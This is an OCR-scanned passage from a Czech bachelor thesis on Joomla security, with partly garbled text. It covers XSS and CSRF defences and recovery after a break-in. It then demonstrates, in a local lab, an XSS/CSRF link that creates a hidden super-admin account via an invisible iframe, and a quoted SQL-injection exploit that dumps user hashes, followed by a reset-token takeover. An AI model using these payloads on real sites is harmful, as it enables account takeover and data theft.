4.4.4 Zabezpeceni proti Cross-Site Scripting

Tviirci webovych aplikaci a jejich rozsifeni by neméli zapominat osetfovat vSechny vstupy
a vystupy vcetné¢ cookies, URL a dat ziskanych metodou POST/GET nebo ulozenych
v databazi. Obecné se proti XSS osetiuji zpravidla vystupy. Zabrani se tim i Gtoktim skrz
administracni rozhrani, kdy uto¢nik pozméni jiz existujici ¢lanek. Vstupy by méli byt
oSetfeny predevs§im proti riznym druhtim injection utokim. V PHP jazyce k tomu slouzi
funkce htmlspecialchars, ktera prevadi vSechny HTML znacky a dalsi specialni
znaky na entity. Utoku naopak nezabrani funkce addslashes, nebot’ pii pouziti vyse

uvedené¢ho maskovani mizeme zapsat potfebné znaky, aniz by byly escapovany.

Nevhodné puisobi skute¢nost, ze HTML je velmi odolné vici chybam v kodu, ale zptisob
jakym se prohlizece zotavuji z chyby, neni ve standardu zcela definovan. Riizné prohliZzece
fesi tento problémem odlisné€, a tak kod na prvni pohled nespravny, mize byt prohliZzeci
stejn¢ interpretovan. Pokud chceme uzivatelim povolit pouze nékteré HTML tagy jako
tuné pismo nebo kurzivu, nelze k tomu pouzit funkci strip tags. Pomoci CSS by
totiz uto€nik mohl tag st rong pfes atribut st yle roztahnout na pozadovanou velikost a
nastavi spusténi skriptu pii udalosti OnMouseOver. Pokud tedy chceme povolit
formatovani textu, mély bychom k tomu pouZit vlastni systém znacek, které prevedeme na
patiicné HTML tagy az v posledni etapé zobrazeni. Takovymi systémy jsou napi. Smarty,

Teng nebo BBCodes implementovany v popularnim systém phpBB.

Uzivatel se proti XSS muze branit pouze vypnutim JavaScriptu avSak za cenu ¢aste¢né
nebo Uplné nefunkcnosti nékterych stranek. K nékterym prohlizecim je také mozné
doinstalovat bezpecnostni rozsifeni branici mnoha typim XSS. V piipadé Firefoxu napf.
rozSiteni NoScript. Nejdiive je ale nutné pomoci Castych dotazii NoScript naucit, jaké

weby mohou JavaScript v prohlizeci pouzivat.
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4.5 Cross-Site Request Forgery (CSRF)

Princip utoku je ziejmy ze slova ,forgery®, které v pfekladu znamena ,,padélani“. Cilem
utoc¢nika je donutit uzivatele ptihlaseného k webové aplikaci ke kliknuti na odkaz, ktery
slouzi k vykonani pozadované akce uvniti aplikace. Takto vykonany pozadavek bude
z pohledu aplikace opravnény, ackoliv byla akce provedena bez védomi uzivatele. Aby
mohl uto¢nik vytvofit funkéni odkaz, ktery provede pozadovanou akci, musi dobfe znat
strukturu napadené aplikace. Obét” samoziejmé nemusi na odkaz kliknout imysIné. Staci,
aby navstivila webovou stranku obsahujici skryty obrazek, jehoz zdroj by odkazoval na
padélanou URL adresu. Pouzit lze také automaticky odeslany skryty formulaf napsany

v JavaScriptu.®*

45.1 Priklad utoku

Pro ilustraci lze uvést piiklad CSRF utoku na jednoduchou webovou aplikaci ktera

nepouziva systém tokenl a pozadavky jsou od uzivatele prenaseny v URL adrese.

<img src="http://www.strnka.com/clanek/?akce=smazat&id=30" />
Pokud by na takovy obrdzek narazil navstévnik stranek, ktery by souc¢asné mél stale aktivni
sezeni v cilové aplikaci, doslo by bez jeho v€domi k odstranéni ¢lanku, jehoz id je 30.

4.5.2 Zabezpeceni proti Cross-Site Request Forgery

Nejlepsim feSenim je pouziti jednorazovych autoriza¢nich tokenti. Pti vypisu stranky je
vygenerovan nahodny token, ktery je ulozen také do session, nebo v lepSim piipadé do
databaze. Tento token je také pfidan do skrytého formulafe, ktery obsahuje vSechny
parametry identifikujici akci uzivatele, a bude tak spolu s nimi odeslan. Pfed vykonanim

pozadavku aplikace ovéfi, zda se odeslany token shoduje s ocekdvanym a poté se zahodi.

Implementace systému autorizacnich tokenl pfitom neni nijak obtiznd. Jednoduché feSeni

ukladajic tokeny do databaze muize vypadat takto.
<?php

Stoken = substr (md5(rand()),0,32);

% Zabezpeteni webovych aplikaci I, Ref. 61
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Pti vypisovani formulafe se pak provede ulozeni tokenu do databdze a doplnéni formulate

0 parametr token.

mysgl query ("INSERT INTO auth tokens (token, validity) VALUES
('Stoken', NOW() + INTERVAL 1 HOUR)");

echo "<input type='hidden' name='token' value='S$token' />\n";

Jakmile je provedena akce, ovéEii se pomoci téchto fadki platnost tokenu a aplikace vykona
piikazy obsazené v podmince.
mysqgl query ("DELETE FROM auth tokens WHERE validity <

NOwW () ") ;

mysqgl query ("DELETE FROM auth tokens WHERE token =
'S REQUEST [token]'");

1f (mysgl affected rows()) {
echo "Spravny token";

}

2>

U zvlasté dulezitych akci pak mlZe byt navic ochrana v podobé captchy, nebo jina
dodatec¢na autorizace pozadavku. Toto je jeden z diivodi pro¢ se pii zméné hesla musi
obvykle vyplnit i to piivodni. Sam uzivatel se proti tomuto Gtoku mize branit pouze tak, ze

bude vZdy ptihlasen jen v jedné aplikaci a pfed navstévou jinych stranek se vzdy odhlasi.
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5 OBNOVENI FUNKCE REDAKCNIHO SYSTEMU PO UTOKU

Po uspésné provedeném tutokli mize hacker nahradit kritické soubory Joomly vlastnimi,
které obsahuji zadni vratka nebo jiny Skodlivy kod. V piipadech kdy nemame k dispozici
zalohu, je nutné nahradit soubory plivodnimi. Postup pii navratu redakéniho systému

Joomla zpét do funkéniho stavu je nasledujici.

5.1 .htaccess

Pomoci souboru . htaccess zabranime pfistupu na napadeny web, aby nemohlo dojit k
jesté veétSim Skodam. Pfiddnim nasledujicich fadkl povolime pfistup na stranky pouze nasi
IP adrese. Zaroven zkontrolujeme, zda soubor neobsahuje podezielé direktivy, které mohl
vytvoftit utoénik.

Order Deny,Allow

Deny from all

Allow from 12.34.56.78

5.2 Pricina utoku

Pti hledani zranitelnosti, odpovédné za napadeni systému muzeme zkontrolovat serverové
logy. Nékteré webhostingové spoleCnosti vSak pristup k logim neposkytuji, nebo jej

zpoplatiuji. Hledané tadky upozoriiujici na podezielou aktivitu komponent, mohou

vypadat takto:

//administrator/components/com extension/admin.extension.php?

mosConfig.absolute.path=http:
nebo
oSS eSS o /. /proc/self/environ

Dals$im voditkem by mohl byt seznam zranitelnych rozsiteni ,,Vulnerable Extensions List,

dostupny na oficialnich strankach projektu J oomla.®®

% Security Checklist/You have been hacked or defaced. In: Joomla! Documentation [online]. 2013 [cit.
2013-04-25]. Dostupné z: http://docs.joomla.org/Security_Checklist_7#Local_Security
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5.3 Lokalni testovani a hesla k u¢tum

Vsechny pocitace pouzivané pro spravu Joomly nebo FTP pfistup otestujeme na vyskyt
malware. Nasledn¢ zménime hesla k SQL databazi a FTP Gcétu. Piistupové tdaje k FTP
neukladame do klienta. Stejnym zplisobem zachazime i s uzivatelskym jménem a heslem
uctu administratora. Ulozend hesla nejsou v prohlizeci nijak Sifrovana a mohou byt snadno

odcizena.

5.4 Zaloha souboru

Pro ptipad Ze by se nepovedl proces obnovy a také pro pozdéjsi hledani zranitelnosti,
kterou zneuzil uto¢nik k napadeni webu, vytvoiime kompletni zadlohu webu i1 databaze. Na
lokalni disk pfeneseme pomoci FTP konfiguracni soubor configuration.php a
vSechny soukromé soubory jako fotografie, obrazky, zvukové a PDF soubory.
Nekopirujeme celé adresdife nybrz pouze jejich obsah, abychom zabranili opétovnému
nahrani Skodlivych soubori na web. Poté odstranime cely obsah adresafe s vyjimkou

souboru .htaccess.

5.5 Instalace souboru redakcéniho systému

Z oficialnich stranek projektu sdhneme aktualni verzi Joomly a obsah archivu s vyjimkou
instala¢niho adresafe a configuration.php nahrajeme do cilového adresate na webu.
Joomlu neni nutné znovu instalovat, protoZze tabulky v SQL databazi jsou jiZ vytvoreny.
Upraveny konfiguracni soubor s aktualnimi pfistupovymi udaji K SQL databazi nahrajeme
véetné potiebnych soukromych soubort na web. Zménil-li uto¢nik pristupové udaje super
spravce, je nutné vytvofit novy ucet ruéné¢ v SQL databazi. Po ptihladSeni do spravcovské
¢asti Joomly zménime hesla na vSech uctech s pravy administratora. Nyni muzeme

nainstalovat Sablonu a aktualni verze roz$ifeni.

5.6 Zpristupnéni stranek

Ovétime funkénost stranek a spravnou konfiguraci vSech rozsifeni. Zkontrolujeme
nastaveni chmod opravnéni a ptepiseme soubor . htaccess vychozim souborem, ktery je

standardné obsaZen v instala¢nim archivu.
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II. PRAKTICKA CAST
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6 PRIKLADY ZNAMYCH UTOKU NA CMS JOOMLA

Na internetu existuje velké mnozstvi databazi exploiti a zranitelnosti na rtuzné druhy
operacnich systémil, redak¢nich systému a jinych aplikaci. VéEtSina zvetejnénych utoku na
redak¢ni systém Joomla zneuziva neosetfené vstupy volitelnych rozsifeni. Najdou se ale i
exploity pouzitelné na komponenty, které jsou soucasti vychozi instalace Joomly.

Nasledujici dva priklady utokti vedou k ziskéani pfistupu do administrace Joomly. Jedna se
neomezenou kontrolu nad redakénim systémem, databazi i serverem. V ptipadé
nedostateéného zabezpeceni ze strany webhostingu muize utok pokracovat i na dalsi

webové stranky, sdilejici server s napadenym systémem.

6.1 Vytvoreni tctu super spravce pomoci CSRF

Aby mohl tento utok uspésné prob&hnout, musi spravce kliknout na odkaz podstréeny
utoénikem. Zarovein musi byt obét’ pfihlaSend do administrace, nebo alesponl mit stle

aktivni sezeni, naptiklad pokud opustil spravcovskou ¢ast bez odhlaseni.

Jedna se o Gtok kombinujici techniku Cross-Site Scripting a Cross-Site Request Forgery.
Pro vloZeni uto¢nikova skriptu je zneuZita nedostatetné zabezpecend komponenta pro
spravu kontaktd. JavaScriptovy kod se po pfechodu na odkaz stane soucasti stranky a

spusti se.

6.1.1 Provedeni utoku

Utok byl demonstrovan na mistnim disku pogitate s nainstalovanym balikem WAMP a IP
adresou 192.168.5.100. Joomla 1.6.3 se nachazi v adresaii hack163. Soubor uzivatel.js
obsahujici skript (Pfiloha I) se nachazi o uroven vySe. Jakmile obét’ piejde na odkaz,
vytvoii se Vredakénim systému Ucet super spravce s uzivatelskym jménem “hack™ a

heslem “1234°.

http://192.168.5.100/hackl63/index.php?option=com contacté&vie
w=categoryé&catid=26&id=36&Itemid=-

1%22; "$3E%22%3E%3Cscript%20src=http://192.168.5.100/uzivatel.
Js%$3E%$3C/script%3E

Protoze odkaz vypada na prvni pohled velmi nedivéryhodné, 1ze jej mnoha zpiisoby skryt.

Vyuzit Ize pfesmérovani, skryty formulaf nebo ram na strance. Pokud by obét’ vstoupila na


http://192.168.5.100/hack163/index.php?option=com_contact&view=category&catid=26&id=36&Itemid=-1%22;'%3E%22%3E%3Cscript%20src=http://192.168.5.100/uzivatel.js%3E%3C/script%3E
http://192.168.5.100/hack163/index.php?option=com_contact&view=category&catid=26&id=36&Itemid=-1%22;'%3E%22%3E%3Cscript%20src=http://192.168.5.100/uzivatel.js%3E%3C/script%3E
http://192.168.5.100/hack163/index.php?option=com_contact&view=category&catid=26&id=36&Itemid=-1%22;'%3E%22%3E%3Cscript%20src=http://192.168.5.100/uzivatel.js%3E%3C/script%3E
http://192.168.5.100/hack163/index.php?option=com_contact&view=category&catid=26&id=36&Itemid=-1%22;'%3E%22%3E%3Cscript%20src=http://192.168.5.100/uzivatel.js%3E%3C/script%3E
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stranku, v jejimz téle je obsazen nasledujici fadek HTML kédu, cely proces probéhne

naprosto bez povSimnuti.

<iframe src="vyse zmineny odkaz" width="0" height="0"

style="visibility:hidden;"></iframe>

Proti tomuto utoku jsou zranitelné pouze verze Joomly 1.6.0 az 1.6.3, tedy STS verze
urcené¢ k testovani komunitou. Dalsi podminkou je existence kategorie kontakt

s identifikatorem, ktery je pouzit v URL adrese podstréeného odkazu.

Usp&sné provedeni toku zavisi také na webovém prohlizeéi obéti. Firefox (v21.0) zobrazi
piihlasovaci stranku administrace a skript provede az po piihlaseni a opétovném kliknuti
na odkaz, jako by ignoroval existujici sezeni. Internet Explorer (v10) zobrazi varovani o
mozném XSS utoku a skript nevykona. Pokud mu pfedlozim stranku se skrytym vnofenym
ramem, zachova se stejné jako Firefox. Z testovanych prohlizec vykonal okamzité skript
pouze Google Chrome (v27) a do spravy uzivateli byl piidan novy ucet S piihlasovacimi

udaji, které jsou vyplnény ve skriptu.

[] nNamez User Name Enabled Activated User Groups Email
[] hacker hack (V] (V) falesny@mail.com
[] SuperUser dpjoomia (v (v Super Users btjacker@seznam.cz

Obr. 12. Pivodni a vytvofeny ucet ve vypisu registrovanych uzivateld

6.2 Zména hesla spravce pomoci SQL injection

SQL injection je jednim z nejcastéjSich typt utokli na CMS Joomla. V internetovych
databazich zranitelnosti 1ze najit desitky utokti na jeho rozsifeni. Vyjimkou nejsou ani
exploity na komponenty jadra Joomly, jejich vyskyt je vSak pomérné vzacny. Postup u
takovych utoki je vzdy stejny a diky automatickym néstrojiim jeho provedeni nevyzaduje
zadné zvlastni znalosti, dokonce ani znalost syntaxe SQL jazyka. Po zvefejnéni
zranitelnosti proto nésleduje vina utokli na webové stranky s dobrou pozici ve vysledcich

vyhledavacu.

Vétsina exploita tohoto typu, zvetfejnéna Vv poslednich mésicich, je urena pro komeréni

rozSifeni, jejichz autofi po zvefejnéni zranitelnosti okamzité chybu opravili a vydali novou
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verzi komponenty. Také nekomer¢ni zranitelné rozsifeni se dockaly zaplat a starsi verze
nachylné k atoku se na strankach autorti nevyskytuji. Vyjimku tvoii nepfili§ popularni
komponenta s nazvem ,,Clan Roster, slouzici k organizovani ¢lenti hernich klani, kterou

jsem pouzil pro demonstraci utoku.

6.2.1 Provedeni utoku

Joomla 1.5.2 je nainstalovana v adresafi hackl152. Stejn¢ je pojmenovana i databaze
obsahujici ukazkova data a Ctyfi registrované uZzivatele, z nichz dva maji opravnéni super

spravce.
Popis zranitelnosti ¢asto obsahuje vSe potiebné k provedeni ttoku.

Joomla Component com_sSclanroster Sqgl Injection Vulnerability

.i. Author @ AtTACKxT3rROr1ST [FHack@w.cn]
.+. Dork : inurl:"com_sSclanroster”
.1. Script @ http://www.newone.org/s5-clan-roster-shapeS-extensions

===[ Exploit ]===

Sql Injection:

www.site.com/index.php?option=com_s5clanroster&view=s5clanrosterilayout=categoryatask=category&id=1[=ql]

www.site.com/index.php?option=com_s5clanroster&view=s5clanroster&layout=categoryatask=category&id=-null’
+/F150000UnIoN*/+/*1500005eLeCt™ 'aroup_concat{username,0x3a,password),222+from+jos_users-- -

Obr. 13. Popis zranitelnosti komponenty Clan Roster
K nalezeni obé&ti vétSinou slouzi ,,Google Dork®“, coz je fetézec obsahujici upfesnujici
parametry vyhledavani. V naSem piipadé hledd vyhledavac stranky, jejichz URL adresa
obsahuje ,,option=com_s5clanroster.

W

Prvni z odkaz(i znac¢i misto v adrese, kde Ize SQL dotaz rozsifit o vlastni podminky a
ptikazy. Druhy odkaz obsahuje pfipraveny dotaz pro ziskani informaci z databaze. Po
kliknuti na n¢j se na strance objevi fadek obsahujici uzivatelska jména a hesla z tabulky
,,JOS_users®, zietézend pomoci funkce group concat. Hesla jsou vSak v podobé hashe
oddéleného dvojteCkou od fetézce znaku salt. Ziskani hesla z hashe je ¢asové naro¢né,
proto se pro opatfeni ptistupu do administrace pouziva resetovani hesla, jehoz novou

podobu si uto¢nik nésledné zvoli sam.
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Pro ziskan potiebnych sloupct tabulek lze namisto pracného vytvaren dotazu pouzit
aplikaci s uzivatelsky pfijemnym prostiedim, které se o vSe postara sama. K demonstraci
jsem pouzil volné dostupnou verzi programu Havij Advanced SQL injection, ktera
neobsahuje nékteré pokrocilé funkce profesiondlni verze, nicméné pro tento piiklad je

naprosto dostate¢na.

Po vlozeni odkazu aplikace ovéfi, zda je oznaCeny parametr nachylny k SQL injection a

Vv ptipad¢ uspéchu zobrazi ndzev databaze.

Analyzing http://192.168.5.100/hack152/index.php?option=com_s5clanr:
Host IP: 192.168.5.100

Web Server: Apache/2.2.22 (Win32) PHR/5.2.2

Fowered-by: PHE/5.2.2

Keyword Found: launch

DB Server: MySQL »=4.1

Selected Column Count is 2

Valid String Column is 1

Current DB: hackls2

Obr. 14. Vypis z logu aplikace Havij Advanced SQL injection

Nyni staci pomoci n€kolika kliknuti nacist seznam tabulek MySQL databaze, nasledné si

nékterou z nich vybrat a zvolit sloupce, které chceme zobrazit.

I:I @Ds-templates-menu | email Lsername usertype password
=[] jos_users
-[1id bfjacker@seznam.cz  admin Super Administrator  d050cca®7
itorl@email.cz itor itor
[ name Editorl@ il Editorl Edito d79fab711
”SE’_TE"“E Regl @email.cz Regl Registered Sc5f4c6d4
emal
] password Tom@MNovak.cz TomMovak  Super Administrator  7b45ch5f8
- [w] usertype

Obr. 15. Tabulka uzivateld napadeného redakéniho systému

Do verze 1.5.16 existoval v Joomle nedostate¢né zabezpeceny proces resetu hesla. Stranka
Kk tomu urCend vyzadovala pouze emailovou adresu uzivatele, na kterou byl zaslan
ovéfovaci token nutny pro piistup k formulaii, kde si uZivatel zvolil nové heslo. Utoénik si
tedy vybral ze ziskanych daji spravce, na jehoz emailovou adresu nechal zaslat email

Kk ovéfeni identity.
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Forgot your Password?

Please enter the e-mail address for your account. Averification token will be sent to you.

E-mail Address: Tom@Movak.cz

Submit

Obr. 16. Formulat pro zadani emailové adresy

Po odeslani formulafe byl vygenerovan fetézec 32 ndhodnych znakl a ulozen do sloupce
,»activation® k zaznamu uzivatele, jemuz zadana adresa patfila. Soucasn¢ s tim byl odeslan

email s tokenem a instrukcemi na jeho adresu.

Uto¢nik sice nema piistup k emailové schrance spravce, miize ale nahlédnout p¥imo do
databaze a potiebny token zkopirovat. Nyni uz zbyva jen odeslat formulat a zvolit si heslo.

S uzivatelskym jménem a novym heslem se pak miize ptihlasit do administrace.

username Lusertype actvation
admin Super Administrator

Editorl Editor

Regl Registered

TormMovak Super Administrator 68e739378ca53balfder44fel 7eb2dac

Obr. 17. Tabulka uzivateld obsahujici token pro reset hesla

Confirm your Account

An e-mail has been sentto your e-mail address. The e-mail contains
averification token, please paste the token in the field below to
prove that you are the owner of this account.

Token: 68e7a9378cab3balfde744fel7eb2dac

Submit

Obr. 18. Odeslani ziskaného fetézce
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Reset your Password

To complete the password reset process please enter a new password.

FPassword: (TIT)
Verify Password: TIY]
Submit

Obr. 19. Volba nového hesla k uétu spravce

Joomla 1.5 pouziva standardné prefix tabulek ,,jos . Pfi instalaci lze zvolit vlastni znaky,
avSak tato volba se nachazi v rozSifeném nastaveni, které vétSina uzivateli neméni. Proto
obsahuji exploity jiz pfedchystané URL adresy s dotazem na uzivatelskd jména a hesla.
Zménou prefixti Ize Uto¢nikliv postup pouze zpomalit, nikoli vSak zastavit. V piipadé
automatickych nastroju jako Havij Advanced SQL injection nehraje nastavené prefixa

zadnou roli.

V Joomla 1.5.16 byl proces resetu hesla 1épe zabezpecen a pomoci SQL injection jiz neni
mozné ziskat pfistup k administraci tak snadno. Do formulafe piibylo pole pro zadani
uzivatelského jména, které by si samoziejmé utocnik mohl také precist v databazi, token
pro ovéfeni vSak nadéale neni ukladan pfimo do databdze. Tam se uloZi pouze ndhodny
fetézec znaki, ze kterych je potfebny token vytvofen za pouziti kli¢e, ulozené¢ho v souboru
configuration.php, a neni tedy do databdze ukladédn. S dostatkem casu a
vypocetniho vykonu Ize ale ziskat heslo z hashe vytvoreného algoritmem MDS5, ktery byl

prolomen jiz v roce 2004.
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7 VYTVORENI KOMPLEXNI WEBOVE PREZENTACE

K redak¢énimu systému Joomla existuje na internetu nepfeberné mnozstvi grafickych
Sablon, nebot’ téch nekolik malo vychozich vétsing uzivatelli nevyhovuje. Dostupné jsou

jak univerzalni vzhledy, tak i Sablony s konkrétnim zamétenim.

V ptipadech, kdy uzivatel vyzaduje origindlni vzhled, ma prakticky na vybér z nékolika
moznosti. Casové nejnaroéné&jsi je tvorba Sablony od tiplného za¢atku a je také podminéna
dobrou znalosti redakéniho systému, jazyka PHP, HTML, JavaScriptu a v neposledni fade
kaskadovych styli CSS. Druhou moznosti je Gprava jiz existujici voln¢ dostupné Sablony,
jejiz licence takové jednani umoziuje. Vzhled Ize pomérné snadno piizptsobit editaci CSS
souborll a nahrazenim vychozi hlavicky a pati¢ky vlastni grafikou. Posledni jmenovanou
moznosti, Kterou jsem ke tvorbé Sablony vyuzil i ja, je vygenerovani vzhledu k tomu
uréenou aplikaci. Kazda takto vytvofena Sablona ma stejnou strukturu a lze ji proto snadno
rozsifit o nové, presné rozmisténé pozice pro obsah generovany redakénim systémem, a
vytvofit tak origindlni design. Vyhodou je zaruena funkénost pokrocilych moznosti, jako

pouzivani ptipon tfid moduld, které v bézné dostupnych Sablonéch ¢asto nefunguji.

7.1 Softwarové vybaveni

Kromé FTP klienta a obvyklych programii obsazenych v operacnim systému Windows

bylo k tvorbé webovych stranek vyuzito nasledujicich aplikaci.

7.1.1 Extensoft Artisteer 3.1.0

Artisteer je WYSIWYG generator statickych webovych stranek ale 1 Sablon pro redakcni
systémy Joomla, Drupal, WordPress, Blogger a DotNetNuke. Pro zékladni tvorbu vzhledu
nevyzaduje zadné dalsi znalosti z oblasti programovacich jazykl nebo grafickych editori.
Obsahuje funkce névrhu vzhledu jednotlivych elementli, navrh barevného schématu podle
obrazku a dals$i. Pfedinstalovano je kromé mnozstvi vzorii pouzitelnych na pozadi stranky
nebo také spousta styld pro tlacitka nebo polozky menu. Jakakoliv zména nastaveni je
okamzité promitnuta do nahledu, a uzivatel tak ma neustale ptehled o aktualni podobé
Sablony. Vyexportovany archiv lze nainstalovat do redakcniho systému a okamzité

pouzivat. Program vynika piedevs§im rychlosti a jednoduchosti.
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7.1.2 Adobe Photoshop CS5

Slovo Photoshop je dnes synonymem pro retus nebo digitalni Gpravu fotek. V anglictiné se
dokonce bézn¢ pouziva jako sloveso. Jedna se o nejznaméjsi bitmapovy graficky editor
s takika neomezenymi moznostmi. Je vhodny jak na upravu fotografii, tak i na tvorbu zcela
nov¢ grafiky. Na jednotlivé vrstvy Ize aplikovat filtry nebo jim snadno ptidavat efekty jako
stiny a prostorovy vzhled, coz usnadiiuje praci hlavné pti webdesignu. Neocenitelnd je také
funkce rozdéleni dokumentu na jednotlivé ¢asti, které lze hromadné exportovat v mnoha

formatech a stupnich komprese.

7.1.3 WampServer 2.2E

Pti tvorb¢ projektu neni obvykle Zadouci, aby byl nedokonceny a nezabezpeceny web nebo
aplikace vetejné piistupny. Nejen z tohoto divodu se pouzivaji balicky jako WAMP a
XAMPP obsahujici v§e potiebné pro instalaci webovych aplikaci, spousténi PHP skriptt a
testovani. Soucasti balicku je Apache, MySQL, PHP a dopliky PHPMyAdmin a
SQLiteManager pro snazs$i spravu. Vyhodou lokalniho vyvoje je rychlejsi odezva a

moznost ptimé Gpravy souborii bez nutnosti nahravani na server pied jejich spusténim.
7.2 Tvorba sablony

7.2.1 Architektura webovych stranek

Pied zapocetim prace na Sablon¢ je dilezité zvolit, jaké prvky se na strdnce budou
vyskytovat a navrhnout jejich rozmisténi. Vzhledem k tomu Ze se nejedna o slozity web se
spravou n¢kolika trovni uzivatelt, ale pouze o jakoby statické stranky urcené k prezentaci
obsahu, neni nutné na strance zobrazovat piihlaSovaci formulaf, menu pro psani novych

¢lankd a dalsi moduly typické pro redakéni systém.

7.2.1.1 Navigace

Obsah stranek bude ¢lenén podobné jako teoreticka ¢ast prace do Ctyt sekci, které se dale
rozdé€li na maximalné pét kategorii. Navigaci tedy bude tvofit nasledujici dvoutiroviiové

menu:

A. Redakéni systémy
a. Redakéni systémy

b. Open source a komer¢ni RS
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c. Joomla!
d. Drupal
e. WordPress
B. Bezpecnost redakénich systému
a. Hosting a nastaveni
b. Instalace a hesla
C. Bezpecnostni rozsifeni
d. Opatieni proti spamu
e. Obnoveni po utoku
C. Utoky na redakéni systémy
a. Podstréeni proménnych
b. SQL injection

Kradez session

134

d. Cross-Site Scripting

e. Scoss-Site Request Forgery
D. O strankach

a. O autorovi a projektu

b. Piehled zkratek

C. Pouzité zdroje

7.2.1.2 Struktura

Kromé¢ aktualniho ¢lanku a dvoutroviiového menu bude na strance zobrazeno jesté textove
pole pro vyhledavani v obsahu webu a nabidka nékolika dalSich nahodné zvolenych
¢lankt. Paticka pak bude obsahovat pouze odkazy na stranky projektu Joomla a stranky

Fakulty aplikované informatiky.

7.2.1.3 Siika layoutu

ProtoZe responzivni weby nebo weby s proménlivou $itkou s sebou nesou kromé vyhod i
jistd omezeni v ptipad¢ potfeby presné umisténych objektd, zvolil jsem pro design stranek
fixni Sitku 960 pixeld. Podle dubnové statistiky spolecnosti StatCounter je
nejpouzivanéj$im rozliSenim na internetu 1366x768, s kterym pfistupuje na monitorované
stranky asi 23,4% navstévniki. Dlouhou dubu bylo nejrozsifenéjsi rozliSeni 1024x768,
které stale pouziva 18,6% uzivatell. Protoze struktura stranky neobsahuje zddné bocni

sloupce a obsah stranek nevyzaduje pfiliS§ mnoho prostoru, povazuji zvolenou Sitku za
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zcela dostacujici. Procento uzivateli pouzivajicich stale rozliSeni 1024x768 neni jesté
uplné zanedbatelné a pfi prohlizeni stranek by tito museli pouzivat horizontalni posuvnik,

coz miize byt obtézujici.
7.2.2 Graficky navrh

Cilem prace je navrhnou jednoduchy, ale originalni vzhled webovych stranek, ktery
navstévnika okamzité¢ zaujme. Design by vSak nemél snizit jeho schopnost orientace na

strankach.

7.2.2.1 Vygenerovdni Sablony v programu Artisteer

Vyslednd Sablona ma velmi jednoduchy vzhled, jelikoz neobsahuje horizontalni ani
vertikalni menu, stylované moduly a dokonce ani hlavicku. VSe potfebné bude pozdéji
vytvofeno v Adobe Photoshop. Vyexportovand Sablona tedy neobsahuje Zadnou
nadbyte¢nou grafiku nebo styly, které by na strankach stejné nebyly pouzity. Program

Artisteer jsem pouzil spise jen kvuli snadnému nastaveni pisma nebo ohraniceni, které by

[ 24

Vv pfipadé rucni editace CSS souborti bylo ¢asové mnohem néaro¢né;jsi.
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Obr. 20. Nahled sablony vygenerované programem Artisteer
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7.2.2.2 Menu prvni urovné

Prvni tiroven menu je zaroven i logem webu, které je barevné i tvarem odvozeno od loga
projektu Joomla. Zakladnim prvkem je zamek symbolizujici bezpecnost, opatieny jménem
sekce. Télo zamku je tvoreno tfemi vrstvami tvaru kruhu, na jehoz stifedovou Cast jsem
aplikoval monochromaticky Sum a nasledn¢ kruhové rozostfeni, aby vzniknul kovovy
vzhled. Tfmen zdmku jsem vytvofil pomoci vektorovych kiivek a jednotlivym vrstvdm
jsem priidal efekty pro prostorovy dojem. Poslednim krokem bylo vytvofeni prohnutého

napisu kopirujiciho tvar zamku.

Obr. 21. Vytvofeni visaciho zamku ve tfech krocich

Celé menu potom tvofi Ctvefice barevné odliSenych a navzdjem semknutych zamkui. Pfi
najeti mysi nad jeden ze zdmki se jeho vlozka oto¢i o 40° a télo poodskoci, jakoby se
zamek odemknul (Obr. 22. leva cast). Pokud pak navstévnik na zamek klikne, barvy
vnitiniho a vnéjsiho kruhu se vzajemné vyméni, dokud neopusti zvolenou sekci (Obr. 22,

prava ¢ast). Tim je aktivni polozka menu jednozna¢né odliSena od ostatnich.
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Obr. 22. MouseOver efekt a aktivni polozka menu

71.2.2.3 Menu druhé urovné

Toto menu ovalného tvaru je tvofeno péti tlaCitky vystupujicimi do prostoru, z nichz
aktivni polozka mé vzdy efekt opacny. Stejné se chovaji i tlaitka, nad nimiZ se pravé

nachdzi ukazatel mysi.

— | )

-

Obr. 23. Aktivni a neaktivni polozky menu druhé tirovné

7.2.2.4 Paticka

Kromé dvojice hypertextovych odkazii obsahuje paticka i nazev, logo a pohled na budovu
Fakulty Aplikované Informatiky UTB. Obrazek zasahuje i do prostoru clanku a byl

vytvoten za pouziti filtru napodobujiciho kresbu tuzkou.
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Univerzita Tomase Bati ve Zliné
Fakuita Apiikované Informatiky

Obr. 24. Pvodni a upravena fotografie budovy FAI v pati¢ce stranky

7.2.2.5 Vysledny ndavrh

Finalni navrh vzhledu stranek obsahuje kromé& vySe jmenovaného jeSté napisy a roz§ifeni
bilé plochy o oblast nad tlacitky menu, ur¢enou pro nabidku nékolika nahodnych ¢lanki.
Prestoze se jedna o vcelku jednoduchy néavrh, véetné vSech popiskii a ikon menu obsahuje
projekt v Adobe Photoshop vice nez 160 vrstev. Na obrazku (Obr. 25.) je jiz cely navrh
rozdélen na fezy a pfipraveny pro export a nasledné integrovani do Sablony, vytvotfené

v predchozich krocich programem Artisteer.

Pro vétsinu grafickych prvki s vyjimkou pozadi a pfechodu je nutné vytvotit v Sablon¢
nové oddily a pfesné je umistit. Ty z nich, které budou obsahovat komponenty, nabidky
nebo jiny, dynamicky nacitany obsah, je potieba doplnit jest¢ o fadek kddu obsahujici
funkci, kterd v oddile vytvofi pozici pro redakéni systém. VSechny upravy probihaji
v souboru index.php V adresafi Sablony. Vlastnosti a obsah jednotlivych oddili jsou

definovany v souboru template.css.

Nadpisy obsazené v ¢lanku, které maji v navrhu jesté ¢ernou barvu, budou vzdy zbarveny
podobnym odstinem jako aktivni polozka menu. Napiiklad nadpisy ¢lanka v sekci ,,Utoky

na RS budou zelené.
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Obr. 25. Navrh designu v Adobe Photoshop pfipraveny pro export

7.3 optimalizace

Webové stranky postavené na redakénim systému byvaji z pravidla mnohem pomalejsi nez
statické stranky. Duvodem je piedev§im vétsi datovy objem, vice pozadavku odesilanych
na server, doba pottebnd pro ziskani informaci z datab4ze a vygenerovani obsahu. Proto je

zadouci snizit tyto negativni vlivy na minimum.

7.3.1 CSS sprite

Technika CSS sprite byla v davnych dobach vyuzivana piedevsim pii tvorbé PC her. Na
webu se zacala objevovat az kolem roku 2006. Principem je slouceni né€kolika obrazku do

jednoho, ktery je potom umist'ovan jako pozadi objektli posunuté na urcité souradnice tak,
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aby se v prohlize¢i zobrazila pouze jeho potiebna cast. Cilem je tedy sniZzeni poctu
pozadavkt odesilanych na server. V pfipadé menu pouzitého na strankach (Obr. 26.) je
nacitan jeden obrazek namisto deseti. Stejnou technika je pouzita u menu sloZzené¢ho ze
zamka, kde pro kazdou polozku existuji tfi stavy. Celkem se tedy pii prvnim zobrazeni

